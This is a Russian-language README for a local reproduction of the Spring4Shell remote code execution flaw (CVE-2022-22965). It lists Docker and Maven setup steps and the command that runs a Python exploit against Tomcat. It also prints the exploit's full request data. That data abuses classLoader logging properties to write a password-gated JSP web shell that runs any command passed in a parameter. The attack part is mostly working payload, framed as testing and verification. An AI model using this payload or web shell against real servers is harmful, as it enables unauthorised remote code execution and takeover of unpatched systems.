
Воспроизводит уязвимость удаленного выполнения кода Spring4Shell (CVE-2022-22965) с помощью эксплойта на Python, разворачивая JSP-веб-шелл на Apache Tomcat для тестирования и проверки.
Процесс локального воспроизведения уязвимости Spring4Shell
Среда: Docker, Docker Compose
Сборка с Maven, генерируется ``./target/ROOT.war`````shell mvn package
* Запуск службы```shell
docker-compose up -d
## Процесс воспроизведения
* Запустить скрипт```shell
python3 spring-4-shell-exp.py --url "http://127.0.0.1:8080"


//
➜ spring4shell-poc
* В контейнере docker можно увидеть, что в службе приложений tomcat был создан jsp-файл

* Также возможен прямой доступ через веб

## Примечания
* Данные в data из spring-4-shell-exp.py```text
class.module.classLoader.resources.context.parent.pipeline.first.pattern=%{c2}i
if ("j".equals(request.getParameter("pwd"))) {
java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();
int a = -1;
byte[] b = new byte[2048];
while ((a = in .read(b)) != -1) {
out.println(new String(b));
}
}
%{suffix}i
class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp
class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT
class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar
class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=
### Ссылки
* https://www.lunasec.io/docs/blog/spring-rce-vulnerabilities
* https://spring.io/blog/2022/03/31/spring-framework-rce-early-announcement
* https://github.com/liudonghua123/spring-core-rce